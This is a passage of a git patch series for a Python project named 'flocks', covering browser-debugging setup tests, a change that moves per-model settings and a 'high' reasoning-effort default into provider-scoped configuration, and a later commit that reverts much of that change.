True) + monkeypatch.setattr(admin, "_local_debugging_setup_lines", lambda: ["isolated fallback instructions"]) + open_calls = [] + monkeypatch.setattr(admin, "_open_browser_inspect", lambda: open_calls.append(True)) + ensure_calls = [] + + def fake_ensure_daemon(**kwargs): + ensure_calls.append(kwargs) + raise RuntimeError("DevToolsActivePort not found") + + monkeypatch.setattr(admin, "ensure_daemon", fake_ensure_daemon) + + assert admin.run_setup() == 1 + + output = capsys.readouterr() + assert "opening your browser's inspect page" in output.out + assert "isolated fallback instructions" not in output.out + assert "optional isolated-browser fallback" in output.err + assert "isolated fallback instructions" in output.err + assert open_calls == [True] + assert ensure_calls == [ + {"wait": admin._SETUP_ATTACH_WAIT, "_open_inspect": False}, + {"wait": admin._SETUP_RETRY_WAIT, "_open_inspect": False}, + ] def test_run_setup_restarts_stale_existing_local_daemon(monkeypatch, capsys) -> None: @@ -415,7 +448,7 @@ def test_run_setup_restarts_stale_existing_local_daemon(monkeypatch, capsys) -> assert "browser connection is stale; restarting" in out assert "daemon is up." in out assert restarted == [None] - assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_show_debugging_guidance": False}] + assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_open_inspect": False}] def test_run_setup_retries_at_most_once(monkeypatch, capsys) -> None: @@ -435,8 +468,8 @@ def fake_ensure_daemon(**kwargs): out = capsys.readouterr() assert "retrying once" in out.out assert ensure_calls == [ - {"wait": admin._SETUP_ATTACH_WAIT, "_show_debugging_guidance": False}, - {"wait": admin._SETUP_RETRY_WAIT, "_show_debugging_guidance": False}, + {"wait": admin._SETUP_ATTACH_WAIT, "_open_inspect": False}, + {"wait": admin._SETUP_RETRY_WAIT, "_open_inspect": False}, ] @@ -452,7 +485,7 @@ def test_run_setup_allows_explicit_remote_cdp_without_local_browser(monkeypatch, out = capsys.readouterr().out assert "attaching via BU_CDP_WS" in out assert "daemon is up." in out - assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_show_debugging_guidance": False}] + assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_open_inspect": False}] def test_run_setup_restarts_existing_daemon_for_explicit_remote_cdp(monkeypatch, capsys) -> None: @@ -473,7 +506,7 @@ def test_run_setup_restarts_existing_daemon_for_explicit_remote_cdp(monkeypatch, assert "restarting to attach via BU_CDP_URL" in out assert "daemon is up." in out assert restarted == [None] - assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_show_debugging_guidance": False}] + assert ensure_calls == [{"wait": admin._SETUP_ATTACH_WAIT, "_open_inspect": False}] def test_run_doctor_uses_generic_browser_wording_when_missing(monkeypatch, capsys) -> None: @@ -492,7 +525,7 @@ def test_run_doctor_uses_generic_browser_wording_when_missing(monkeypatch, capsy assert "next action start Chrome/Chromium/Edge/Brave or provide BU_CDP_URL/BU_CDP_WS" in out -def test_run_doctor_points_to_debug_browser_instructions_when_daemon_missing(monkeypatch, capsys) -> None: +def test_run_doctor_points_to_inspect_flow_when_daemon_missing(monkeypatch, capsys) -> None: monkeypatch.setattr(admin, "_version", lambda: "0.1.0") monkeypatch.setattr(admin, "_install_mode", lambda: "git") monkeypatch.setattr(admin, "_chrome_running", lambda: True) @@ -503,9 +536,8 @@ def test_run_doctor_points_to_debug_browser_instructions_when_daemon_missing(mon assert admin.run_doctor() == 1 out = capsys.readouterr().out - assert "follow its debug-browser instructions" in out - assert "remote debugging is not reachable" in out - assert "inspect-page prompt" not in out + assert "remote debugging is disabled" in out + assert "follow its inspect-page prompt" in out def test_run_doctor_accepts_explicit_remote_cdp_without_local_browser(monkeypatch, capsys) -> None: diff --git a/tests/browser/test_daemon.py b/tests/browser/test_daemon.py index b872a506a..73e88b32e 100644 --- a/tests/browser/test_daemon.py +++ b/tests/browser/test_daemon.py @@ -178,12 +178,12 @@ def test_profile_dirs_only_returns_paths_for_requested_os() -> None: environ={"LOCALAPPDATA": str(local_app_data)}, ) - assert mac_profiles[:4] == flocks_debug_profiles - assert linux_profiles[:4] == flocks_debug_profiles - assert windows_profiles[:4] == flocks_debug_profiles - assert all("Library" in path.parts and "Application Support" in path.parts for path in mac_profiles[4:]) - assert all(".config" in path.parts or ".var" in path.parts for path in linux_profiles[4:]) - assert all(path.is_relative_to(local_app_data) for path in windows_profiles[4:]) + assert mac_profiles[-4:] == flocks_debug_profiles + assert linux_profiles[-4:] == flocks_debug_profiles + assert windows_profiles[-4:] == flocks_debug_profiles + assert all("Library" in path.parts and "Application Support" in path.parts for path in mac_profiles[:-4]) + assert all(".config" in path.parts or ".var" in path.parts for path in linux_profiles[:-4]) + assert all(path.is_relative_to(local_app_data) for path in windows_profiles[:-4]) def test_get_ws_url_skips_unreachable_profile_and_uses_next_candidate(tmp_path, monkeypatch) -> None: From beb9c7d8871a0cf0bf376f0472cd62a73d2e2779 Mon Sep 17 00:00:00 2001 From: xiami762 Date: Sat, 8 Aug 2026 10:28:26 +0800 Subject: [PATCH 34/67] feat(config): unify model settings and reasoning defaults --- .flocks/flocks.json.example | 5 + flocks/config/config_writer.py | 226 +++++++++++++++++-- flocks/provider/model_manager.py | 11 + flocks/provider/options.py | 17 +- tests/config/test_config_writer.py | 192 +++++++++++++++- tests/provider/test_model_management_p2p3.py | 5 +- tests/provider/test_provider_options.py | 28 ++- tests/provider/test_thinking_params.py | 4 +- webui/src/pages/Model/index.tsx | 52 ++--- 9 files changed, 473 insertions(+), 67 deletions(-) diff --git a/.flocks/flocks.json.example b/.flocks/flocks.json.example index 1f8b273c7..dc9ffd359 100644 --- a/.flocks/flocks.json.example +++ b/.flocks/flocks.json.example @@ -1,5 +1,10 @@ { "provider": {}, + "default_models": { + "default_parameters": { + "reasoning_effort": "high" + } + }, "mcp": {}, "channels": {}, "plugin": [], diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index 2b8d6a900..62ddfe221 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -21,7 +21,13 @@ _FALLBACK_CONFIG_TEMPLATES: Dict[str, Dict[str, Any]] = { - "flocks.json": {}, + "flocks.json": { + "default_models": { + "default_parameters": { + "reasoning_effort": "high", + }, + }, + }, ".secret.json": {}, "mcp_list.json": { "version": "1.0.0", @@ -30,6 +36,59 @@ }, } +_MODEL_SETTING_FIELDS = ("enabled", "credential_id", "default_parameters") + + +def _extract_model_setting(model_config: Any) -> Dict[str, Any]: + """Extract user-setting fields from a provider model entry.""" + if not isinstance(model_config, dict): + return {} + return { + field: model_config[field] + for field in _MODEL_SETTING_FIELDS + if field in model_config + } + + +def _merge_model_settings( + legacy: Optional[Dict[str, Any]], + current: Optional[Dict[str, Any]], +) -> Dict[str, Any]: + """Merge legacy and provider-scoped settings with current values winning.""" + result = dict(legacy or {}) + current = current or {} + legacy_parameters = result.get("default_parameters") + current_parameters = current.get("default_parameters") + if isinstance(legacy_parameters, dict) or isinstance(current_parameters, dict): + merged_parameters = dict( + legacy_parameters if isinstance(legacy_parameters, dict) else {} + ) + if isinstance(current_parameters, dict): + merged_parameters.update(current_parameters) + result["default_parameters"] = merged_parameters + for field in ("enabled", "credential_id"): + if field in current: + result[field] = current[field] + return result + + +def _get_model_setting_from_data( + data: Dict[str, Any], + provider_id: str, + model_id: str, +) -> Dict[str, Any]: + """Resolve legacy and provider-scoped settings from already-read data.""" + key = f"{provider_id}/{model_id}" + legacy_settings = data.get("model_settings") + legacy = legacy_settings.get(key) if isinstance(legacy_settings, dict) else None + + providers = data.get("provider") + provider = providers.get(provider_id) if isinstance(providers, dict) else None + models = provider.get("models") if isinstance(provider, dict) else None + model = models.get(model_id) if isinstance(models, dict) else None + return _merge_model_settings(legacy, _extract_model_setting(model)) + + def _get_example_config_dir() -> Path: """Return the bundled example directory used for first-run initialization.""" return Path(__file__).resolve().parents[2] / ".flocks" @@ -367,7 +426,12 @@ def add_model( if "models" not in pconfig: pconfig["models"] = {} - pconfig["models"][model_id] = model_config + existing_model = pconfig["models"].get(model_id, {}) + preserved_settings = _extract_model_setting(existing_model) + merged_model = dict(model_config) + for field, value in preserved_settings.items(): + merged_model.setdefault(field, value) + pconfig["models"][model_id] = merged_model data["provider"][provider_id] = pconfig cls._write_raw(data) log.info("config_writer.model_added", { @@ -403,16 +467,15 @@ def remove_model(cls, provider_id: str, model_id: str) -> bool: return True # ------------------------------------------------------------------ - # Model settings (model_settings section) + # Model settings (provider-scoped with legacy read compatibility) # ------------------------------------------------------------------ @classmethod def get_model_setting(cls, provider_id: str, model_id: str) -> Optional[Dict[str, Any]]: - """Get setting for a specific model from flocks.json model_settings section.""" + """Get model settings, preferring the provider-scoped model entry.""" data = cls._read_raw() - settings = data.get("model_settings", {}) - key = f"{provider_id}/{model_id}" - return settings.get(key) + merged = _get_model_setting_from_data(data, provider_id, model_id) + return merged or None @classmethod def set_model_setting( @@ -421,14 +484,55 @@ def set_model_setting( model_id: str, setting: Dict[str, Any], ) -> None: - """Set or update model setting in flocks.json model_settings section.""" + """Set model settings inside provider..models..""" data = cls._read_raw() - if "model_settings" not in data: - data["model_settings"] = {} - key = f"{provider_id}/{model_id}" - existing = data["model_settings"].get(key, {}) - existing.update(setting) - data["model_settings"][key] = existing + providers = data.get("provider") + if not isinstance(providers, dict): + providers = {} + provider = providers.get(provider_id) + if not isinstance(provider, dict): + provider = {} + models = provider.get("models") + if not isinstance(models, dict): + models = {} + model = models.get(model_id) + if not isinstance(model, dict): + model = {} + + # A write to a legacy-only setting migrates its complete effective value + # into the provider model. Untouched legacy entries remain readable. + existing_setting = _get_model_setting_from_data(data, provider_id, model_id) + for field, value in existing_setting.items(): + if field in _MODEL_SETTING_FIELDS: + model[field] = value + + for field, value in setting.items(): + if field not in _MODEL_SETTING_FIELDS: + continue + if field == "default_parameters" and isinstance(value, dict): + existing_parameters = model.get("default_parameters") + merged_parameters = dict( + existing_parameters + if isinstance(existing_parameters, dict) + else {} + ) + merged_parameters.update(value) + model[field] = merged_parameters + else: + model[field] = value + models[model_id] = model + provider["models"] = models + providers[provider_id] = provider + data["provider"] = providers + + legacy_settings = data.get("model_settings") + legacy_key = f"{provider_id}/{model_id}" + if isinstance(legacy_settings, dict) and legacy_key in legacy_settings: + legacy_settings.pop(legacy_key) + if legacy_settings: + data["model_settings"] = legacy_settings + else: + data.pop("model_settings", None) cls._write_raw(data) log.info("config_writer.model_setting_updated", { "provider_id": provider_id, @@ -437,14 +541,36 @@ def set_model_setting( @classmethod def remove_model_setting(cls, provider_id: str, model_id: str) -> bool: - """Remove a model setting from flocks.json.""" + """Remove provider-scoped and legacy settings for a model.""" data = cls._read_raw() - settings = data.get("model_settings", {}) + removed = False + providers = data.get("provider") + provider = providers.get(provider_id, {}) if isinstance(providers, dict) else {} + models = provider.get("models") if isinstance(provider, dict) else None + model = models.get(model_id) if isinstance(models, dict) else None + if isinstance(model, dict): + for field in _MODEL_SETTING_FIELDS: + if field in model: + del model[field] + removed = True + if removed and not model: + models.pop(model_id, None) + if not models: + provider.pop("models", None) + if not provider: + if isinstance(providers, dict): + providers.pop(provider_id, None) + settings = data.get("model_settings") key = f"{provider_id}/{model_id}" - if key not in settings: + if isinstance(settings, dict) and key in settings: + del settings[key] + removed = True + if settings: + data["model_settings"] = settings + else: + data.pop("model_settings", None) + if not removed: return False - del settings[key] - data["model_settings"] = settings cls._write_raw(data) return True @@ -452,7 +578,54 @@ def remove_model_setting(cls, provider_id: str, model_id: str) -> bool: def get_all_model_settings(cls) -> Dict[str, Dict[str, Any]]: """Get all model settings. Returns dict keyed by 'provider_id/model_id'.""" data = cls._read_raw() - return data.get("model_settings", {}) + legacy_settings = data.get("model_settings") + result = { + key: dict(value) + for key, value in ( + legacy_settings.items() + if isinstance(legacy_settings, dict) + else () + ) + if isinstance(value, dict) + } + providers = data.get("provider") + provider_items = providers.items() if isinstance(providers, dict) else () + for provider_id, provider in provider_items: + if not isinstance(provider, dict): + continue + models = provider.get("models") + model_items = models.items() if isinstance(models, dict) else () + for model_id, model in model_items: + current = _extract_model_setting(model) + if not current: + continue + key = f"{provider_id}/{model_id}" + result[key] = _merge_model_settings(result.get(key), current) + return result + + @classmethod + def get_effective_model_default_parameters( + cls, + provider_id: str, + model_id: str, + ) -> Dict[str, Any]: + """Resolve global, legacy, and provider-model parameter defaults.""" + data = cls._read_raw() + result: Dict[str, Any] = {} + default_models = data.get("default_models") + global_parameters = ( + default_models.get("default_parameters", {}) + if isinstance(default_models, dict) + else {} + ) + if isinstance(global_parameters, dict): + result.update(global_parameters) + + setting = _get_model_setting_from_data(data, provider_id, model_id) + model_parameters = setting.get("default_parameters", {}) + if isinstance(model_parameters, dict): + result.update(model_parameters) + return result # ------------------------------------------------------------------ # Default models (default_models section) @@ -503,7 +676,14 @@ def delete_default_model(cls, model_type: str) -> bool: def get_all_default_models(cls) -> Dict[str, Dict[str, Any]]: """Get all default model configs.""" data = cls._read_raw() - return data.get("default_models", {}) + defaults = data.get("default_models") + if not isinstance(defaults, dict): + return {} + return { + model_type: config + for model_type, config in defaults.items() + if model_type != "default_parameters" and isinstance(config, dict) + } # ------------------------------------------------------------------ # Runtime model fallbacks (fallback_providers section) @@ -712,8 +892,8 @@ def remove_api_service(cls, service_id: str) -> bool: # ------------------------------------------------------------------ # # User-level overlay for per-tool settings (currently: ``enabled``). - # The section mirrors ``model_settings`` for naming consistency — - # both are flat maps keyed by the entity's unique id. + # This remains a flat map keyed by tool name; model settings now live + # directly under their provider model entries. # # Why this exists: YAML plugin tool files under # ``/.flocks/plugins/tools/`` are tracked by git and may be diff --git a/flocks/provider/model_manager.py b/flocks/provider/model_manager.py index bb4e813cb..cd897d955 100644 --- a/flocks/provider/model_manager.py +++ b/flocks/provider/model_manager.py @@ -139,6 +139,17 @@ def update_setting( model_id=model_id, ) + def get_effective_default_parameters( + self, + provider_id: str, + model_id: str, + ) -> Dict[str, Any]: + """Get inherited default parameters for a provider model.""" + return ConfigWriter.get_effective_model_default_parameters( + provider_id, + model_id, + ) + # ==================== Default Models ==================== def get_default_model( diff --git a/flocks/provider/options.py b/flocks/provider/options.py index 733093df5..bea626cb2 100644 --- a/flocks/provider/options.py +++ b/flocks/provider/options.py @@ -29,7 +29,8 @@ # --------------------------------------------------------------------------- DEFAULT_THINKING_BUDGET = 16000 DEFAULT_OUTPUT_BUFFER = 8192 -DEFAULT_KIMI_K3_REASONING_EFFORT = "max" +DEFAULT_REASONING_EFFORT = "high" +DEFAULT_KIMI_K3_REASONING_EFFORT = DEFAULT_REASONING_EFFORT KIMI_K3_REASONING_EFFORTS = frozenset({"low", "high", "max"}) _GENERIC_CHAT_REASONING_EXTRA_BODY_KEYS = { @@ -76,15 +77,15 @@ def _resolve_reasoning_enabled(provider_id: str, model_id: str) -> Optional[bool def _resolve_reasoning_effort(provider_id: str, model_id: str) -> Optional[str]: - """Read a model-level reasoning effort from flocks.json.""" + """Read the effective reasoning effort from flocks.json.""" try: from flocks.provider.model_manager import get_model_manager - setting = get_model_manager().get_setting(provider_id, model_id) - if not setting: - return None - - value = (setting.default_parameters or {}).get("reasoning_effort") + default_parameters = get_model_manager().get_effective_default_parameters( + provider_id, + model_id, + ) + value = default_parameters.get("reasoning_effort") return value.strip().lower() if isinstance(value, str) else None except Exception as exc: log.debug("options.reasoning_effort_setting_lookup_failed", { @@ -370,7 +371,7 @@ def build_provider_options( # -- OpenAI reasoning (o1 / o3 / gpt-5) -------------------------------- elif provider_id == "openai": if reasoning_enabled is not False and any(tag in model_lower for tag in ("o1", "o3", "gpt-5")): - options["reasoningEffort"] = "medium" + options["reasoningEffort"] = reasoning_effort or DEFAULT_REASONING_EFFORT # -- Google Gemini thinking --------------------------------------------- elif provider_id == "google": diff --git a/tests/config/test_config_writer.py b/tests/config/test_config_writer.py index 73c0b1af6..4355508b1 100644 --- a/tests/config/test_config_writer.py +++ b/tests/config/test_config_writer.py @@ -256,7 +256,7 @@ def test_no_config_file(self, tmp_path, monkeypatch): class TestConfigWriterModelSettings: - """Test model_settings section CRUD.""" + """Test provider-scoped model settings and legacy compatibility.""" def test_get_model_setting_empty(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -273,6 +273,12 @@ def test_set_and_get_model_setting(self, temp_project): assert setting is not None assert setting["enabled"] is False assert setting["default_parameters"]["temperature"] == 0.5 + data = ConfigWriter._read_raw() + assert "model_settings" not in data + assert data["provider"]["openai"]["models"]["gpt-4o"] == { + "enabled": False, + "default_parameters": {"temperature": 0.5}, + } def test_update_model_setting_merges(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -294,6 +300,24 @@ def test_remove_model_setting(self, temp_project): ConfigWriter.set_model_setting("openai", "gpt-4o", {"enabled": True}) assert ConfigWriter.remove_model_setting("openai", "gpt-4o") is True assert ConfigWriter.get_model_setting("openai", "gpt-4o") is None + assert "openai" not in ConfigWriter._read_raw()["provider"] + + def test_remove_model_setting_preserves_model_definition(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + ConfigWriter.set_model_setting( + "anthropic", + "claude-sonnet-4-5", + {"enabled": False}, + ) + + assert ConfigWriter.remove_model_setting( + "anthropic", + "claude-sonnet-4-5", + ) is True + assert ConfigWriter.get_provider_raw("anthropic")["models"] == { + "claude-sonnet-4-5": {"name": "Claude Sonnet 4.5"} + } def test_remove_nonexistent_model_setting(self, temp_project): from flocks.config.config_writer import ConfigWriter @@ -309,7 +333,151 @@ def test_get_all_model_settings(self, temp_project): assert "anthropic/claude-sonnet" in all_settings assert len(all_settings) == 2 - def test_model_settings_preserve_other_sections(self, temp_project): + def test_legacy_model_setting_remains_readable(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + data = ConfigWriter._read_raw() + data["model_settings"] = { + "anthropic/claude-sonnet-4-5": { + "enabled": False, + "default_parameters": {"reasoning_effort": "high"}, + } + } + ConfigWriter._write_raw(data) + + setting = ConfigWriter.get_model_setting( + "anthropic", + "claude-sonnet-4-5", + ) + + assert setting == { + "enabled": False, + "default_parameters": {"reasoning_effort": "high"}, + } + + def test_provider_model_setting_overrides_legacy_values(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + data = ConfigWriter._read_raw() + data["model_settings"] = { + "anthropic/claude-sonnet-4-5": { + "enabled": False, + "default_parameters": { + "reasoning_effort": "high", + "temperature": 0.4, + }, + } + } + data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"].update( + { + "enabled": True, + "default_parameters": {"reasoning_effort": "max"}, + } + ) + ConfigWriter._write_raw(data) + + setting = ConfigWriter.get_model_setting( + "anthropic", + "claude-sonnet-4-5", + ) + + assert setting == { + "enabled": True, + "default_parameters": { + "reasoning_effort": "max", + "temperature": 0.4, + }, + } + + def test_updating_legacy_setting_migrates_it_to_provider_model(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + data = ConfigWriter._read_raw() + data["model_settings"] = { + "anthropic/claude-sonnet-4-5": { + "enabled": False, + "default_parameters": { + "temperature": 0.4, + "reasoning_effort": "high", + }, + } + } + ConfigWriter._write_raw(data) + + ConfigWriter.set_model_setting( + "anthropic", + "claude-sonnet-4-5", + {"default_parameters": {"reasoning_effort": "max"}}, + ) + + data = ConfigWriter._read_raw() + assert data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"] == { + "name": "Claude Sonnet 4.5", + "enabled": False, + "default_parameters": { + "temperature": 0.4, + "reasoning_effort": "max", + }, + } + assert "model_settings" not in data + + def test_effective_default_parameters_follow_scope_precedence(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + data = ConfigWriter._read_raw() + data["default_models"] = { + "default_parameters": { + "reasoning_effort": "low", + "temperature": 0.1, + }, + } + data["model_settings"] = { + "anthropic/claude-sonnet-4-5": { + "default_parameters": { + "reasoning_effort": "high", + } + } + } + data["provider"]["anthropic"]["models"]["claude-sonnet-4-5"]["default_parameters"] = { + "reasoning_effort": "max", + } + ConfigWriter._write_raw(data) + + parameters = ConfigWriter.get_effective_model_default_parameters( + "anthropic", + "claude-sonnet-4-5", + ) + + assert parameters == { + "reasoning_effort": "max", + "temperature": 0.1, + } + + def test_add_model_preserves_provider_scoped_settings(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + ConfigWriter.set_model_setting( + "anthropic", + "claude-sonnet-4-5", + { + "enabled": False, + "default_parameters": {"reasoning_effort": "high"}, + }, + ) + ConfigWriter.add_model( + "anthropic", + "claude-sonnet-4-5", + {"name": "Updated Claude"}, + ) + + model = ConfigWriter.get_provider_raw("anthropic")["models"]["claude-sonnet-4-5"] + assert model == { + "name": "Updated Claude", + "enabled": False, + "default_parameters": {"reasoning_effort": "high"}, + } + + def test_provider_model_settings_preserve_other_sections(self, temp_project): from flocks.config.config_writer import ConfigWriter ConfigWriter.set_model_setting("openai", "gpt-4o", {"enabled": True}) @@ -439,6 +607,26 @@ def test_get_all_default_models(self, temp_project): assert "text-embedding" in all_defaults assert len(all_defaults) == 2 + def test_get_all_default_models_excludes_default_parameters(self, temp_project): + from flocks.config.config_writer import ConfigWriter + + data = ConfigWriter._read_raw() + data["default_models"] = { + "default_parameters": {"reasoning_effort": "medium"}, + "llm": { + "provider_id": "anthropic", + "model_id": "claude-sonnet", + }, + } + ConfigWriter._write_raw(data) + + assert ConfigWriter.get_all_default_models() == { + "llm": { + "provider_id": "anthropic", + "model_id": "claude-sonnet", + } + } + def test_default_models_preserve_other_sections(self, temp_project): from flocks.config.config_writer import ConfigWriter ConfigWriter.set_default_model("llm", "anthropic", "claude") diff --git a/tests/provider/test_model_management_p2p3.py b/tests/provider/test_model_management_p2p3.py index e4ff4ea61..a86e26ce8 100644 --- a/tests/provider/test_model_management_p2p3.py +++ b/tests/provider/test_model_management_p2p3.py @@ -335,9 +335,8 @@ def test_settings_persisted_in_flocks_json(self, temp_project): # Verify it's in flocks.json data = ConfigWriter._read_raw() - assert "model_settings" in data - assert "openai/gpt-4o" in data["model_settings"] - assert data["model_settings"]["openai/gpt-4o"]["enabled"] is False + assert "model_settings" not in data + assert data["provider"]["openai"]["models"]["gpt-4o"]["enabled"] is False def test_default_model_persisted_in_flocks_json(self, temp_project): """Verify that default models are persisted in flocks.json.""" diff --git a/tests/provider/test_provider_options.py b/tests/provider/test_provider_options.py index 45f2af82b..7ae8d17fd 100644 --- a/tests/provider/test_provider_options.py +++ b/tests/provider/test_provider_options.py @@ -86,7 +86,7 @@ def test_moonshot_kimi_k3_uses_default_reasoning_effort(self): resolve_max_tokens=False, ) - assert options["extra_body"] == {"reasoning_effort": "max"} + assert options["extra_body"] == {"reasoning_effort": "high"} def test_kimi_k27_forces_thinking_even_when_toggle_is_disabled(self): options = provider_options.build_provider_options( @@ -127,7 +127,7 @@ def test_kimi_k3_uses_reasoning_effort_instead_of_thinking(self): resolve_max_tokens=False, ) - assert options["extra_body"] == {"reasoning_effort": "max"} + assert options["extra_body"] == {"reasoning_effort": "high"} assert "thinking" not in options["extra_body"] def test_kimi_k3_respects_supported_reasoning_effort(self): @@ -443,3 +443,27 @@ def test_openai_reasoning_can_be_disabled(self): ) assert "reasoningEffort" not in options + + def test_openai_reasoning_defaults_to_high(self): + options = provider_options.build_provider_options( + "openai", + "gpt-5.4", + resolve_max_tokens=False, + ) + + assert options["reasoningEffort"] == "high" + + def test_openai_uses_configured_reasoning_effort(self, monkeypatch): + monkeypatch.setattr( + provider_options, + "_resolve_reasoning_effort", + lambda *_args: "low", + ) + + options = provider_options.build_provider_options( + "openai", + "gpt-5.4", + resolve_max_tokens=False, + ) + + assert options["reasoningEffort"] == "low" diff --git a/tests/provider/test_thinking_params.py b/tests/provider/test_thinking_params.py index d9c638214..046564d37 100644 --- a/tests/provider/test_thinking_params.py +++ b/tests/provider/test_thinking_params.py @@ -100,7 +100,7 @@ def _expected_generic_chat_extra_body( if "mimo" in model_lower: return MIMO_THINKING_EXTRA_BODY if is_kimi_k3_model(model_id): - return {"reasoning_effort": "max"} + return {"reasoning_effort": "high"} if is_kimi_k27_code_model(model_id): return KIMI_THINKING_EXTRA_BODY if "kimi" in model_lower: @@ -444,7 +444,7 @@ def test_anthropic_transport_still_uses_thinking_field( ("kimi-k2.6-uncatalogued", KIMI_THINKING_EXTRA_BODY), ("kimi-k2.7-code", KIMI_THINKING_EXTRA_BODY), ("kimi-k2.7-code-highspeed", KIMI_THINKING_EXTRA_BODY), - ("kimi-k3", {"reasoning_effort": "max"}), + ("kimi-k3", {"reasoning_effort": "high"}), ("mimo-v2.5-pro-uncatalogued", MIMO_THINKING_EXTRA_BODY), ("minimax-m4-uncatalogued", {"reasoning_split": True}), ("step-3.5-flash-uncatalogued", {"enable_thinking": True}), diff --git a/webui/src/pages/Model/index.tsx b/webui/src/pages/Model/index.tsx index 959ac8ede..ba81c6c05 100644 --- a/webui/src/pages/Model/index.tsx +++ b/webui/src/pages/Model/index.tsx @@ -2841,33 +2841,31 @@ function ModelDetailSheet({ const handleSave = async () => { setLoading(true); try { - await Promise.all([ - modelV2API.createDefinition(provider.id, { - model_id: model.id, - name: name.trim() || model.id, - context_window: parseInt(contextWindow) || undefined, - max_output_tokens: parseInt(maxOutput) || undefined, - supports_vision: supportsVision, - supports_tools: supportsTools, - supports_streaming: supportsStreaming, - supports_reasoning: modelSupportsReasoning ? modelSupportsReasoning : supportsReasoning, - input_price: parseFloat(inputPrice) || 0, - output_price: parseFloat(outputPrice) || 0, - cache_read_price: cacheReadPrice.trim() === '' - ? null - : parseFloat(cacheReadPrice) || 0, - currency, - }), - modelSettingsAPI.update(provider.id, model.id, { - enabled, - default_parameters: modelSupportsReasoning - ? { - ...defaultParameters, - enable_thinking: supportsReasoning, - } - : undefined, - }), - ]); + await modelV2API.createDefinition(provider.id, { + model_id: model.id, + name: name.trim() || model.id, + context_window: parseInt(contextWindow) || undefined, + max_output_tokens: parseInt(maxOutput) || undefined, + supports_vision: supportsVision, + supports_tools: supportsTools, + supports_streaming: supportsStreaming, + supports_reasoning: modelSupportsReasoning ? modelSupportsReasoning : supportsReasoning, + input_price: parseFloat(inputPrice) || 0, + output_price: parseFloat(outputPrice) || 0, + cache_read_price: cacheReadPrice.trim() === '' + ? null + : parseFloat(cacheReadPrice) || 0, + currency, + }); + await modelSettingsAPI.update(provider.id, model.id, { + enabled, + default_parameters: modelSupportsReasoning + ? { + ...defaultParameters, + enable_thinking: supportsReasoning, + } + : undefined, + }); toast.success(t('credentialsSaved')); onSaved(); } catch (e: any) { From 96e58a6f98a444349f4075f35567312d880c4747 Mon Sep 17 00:00:00 2001 From: xiami762 Date: Mon, 10 Aug 2026 15:04:17 +0800 Subject: [PATCH 35/67] refactor(config): limit changes to reasoning effort --- flocks/config/config_writer.py | 190 +++---------------- tests/config/test_config_writer.py | 145 +------------- tests/provider/test_model_management_p2p3.py | 5 +- webui/src/pages/Model/index.tsx | 52 ++--- 4 files changed, 57 insertions(+), 335 deletions(-) diff --git a/flocks/config/config_writer.py b/flocks/config/config_writer.py index 62ddfe221..51129ba11 100644 --- a/flocks/config/config_writer.py +++ b/flocks/config/config_writer.py @@ -36,59 +36,6 @@ }, } -_MODEL_SETTING_FIELDS = ("enabled", "credential_id", "default_parameters") - - -def _extract_model_setting(model_config: Any) -> Dict[str, Any]: - """Extract user-setting fields from a provider model entry.""" - if not isinstance(model_config, dict): - return {} - return { - field: model_config[field] - for field in _MODEL_SETTING_FIELDS - if field in model_config - } - - -def _merge_model_settings( - legacy: Optional[Dict[str, Any]], - current: Optional[Dict[str, Any]], -) -> Dict[str, Any]: - """Merge legacy and provider-scoped settings with current values winning.""" - result = dict(legacy or {}) - current = current or {} - legacy_parameters = result.get("default_parameters") - current_parameters = current.get("default_parameters") - if isinstance(legacy_parameters, dict) or isinstance(current_parameters, dict): - merged_parameters = dict( - legacy_parameters if isinstance(legacy_parameters, dict) else {} - ) - if isinstance(current_parameters, dict): - merged_parameters.update(current_parameters) - result["default_parameters"] = merged_parameters - for field in ("enabled", "credential_id"): - if field in current: - result[field] = current[field] - return result - - -def _get_model_setting_from_data( - data: Dict[str, Any], - provider_id: str, - model_id: str, -) -> Dict[str, Any]: - """Resolve legacy and provider-scoped settings from already-read data.""" - key = f"{provider_id}/{model_id}" - legacy_settings = data.get("model_settings") - legacy = legacy_settings.get(key) if isinstance(legacy_settings, dict) else None - - providers = data.get("provider") - provider = providers.get(provider_id) if isinstance(providers, dict) else None - models = provider.get("models") if isinstance(provider, dict) else None - model = models.get(model_id) if isinstance(models, dict) else None - return _merge_model_settings(legacy, _extract_model_setting(model)) - - def _get_example_config_dir() -> Path: """Return the bundled example directory used for first-run initialization.""" return Path(__file__).resolve().parents[2] / ".flocks" @@ -426,12 +373,7 @@ def add_model( if "models" not in pconfig: pconfig["models"] = {} - existing_model = pconfig["models"].get(model_id, {}) - preserved_settings = _extract_model_setting(existing_model) - merged_model = dict(model_config) - for field, value in preserved_settings.items(): - merged_model.setdefault(field, value) - pconfig["models"][model_id] = merged_model + pconfig["models"][model_id] = model_config data["provider"][provider_id] = pconfig cls._write_raw(data) log.info("config_writer.model_added", { @@ -467,15 +409,16 @@ def remove_model(cls, provider_id: str, model_id: str) -> bool: return True # ------------------------------------------------------------------ - # Model settings (provider-scoped with legacy read compatibility) + # Model settings (model_settings section) # ------------------------------------------------------------------ @classmethod def get_model_setting(cls, provider_id: str, model_id: str) -> Optional[Dict[str, Any]]: - """Get model settings, preferring the provider-scoped model entry.""" + """Get setting for a specific model from flocks.json model_settings section.""" data = cls._read_raw() - merged = _get_model_setting_from_data(data, provider_id, model_id) - return merged or None + settings = data.get("model_settings", {}) + key = f"{provider_id}/{model_id}" + return settings.get(key) @classmethod def set_model_setting( @@ -484,55 +427,14 @@ def set_model_setting( model_id: str, setting: Dict[str, Any], ) -> None: - """Set model settings inside provider..models..""" + """Set or update model setting in flocks.json model_settings 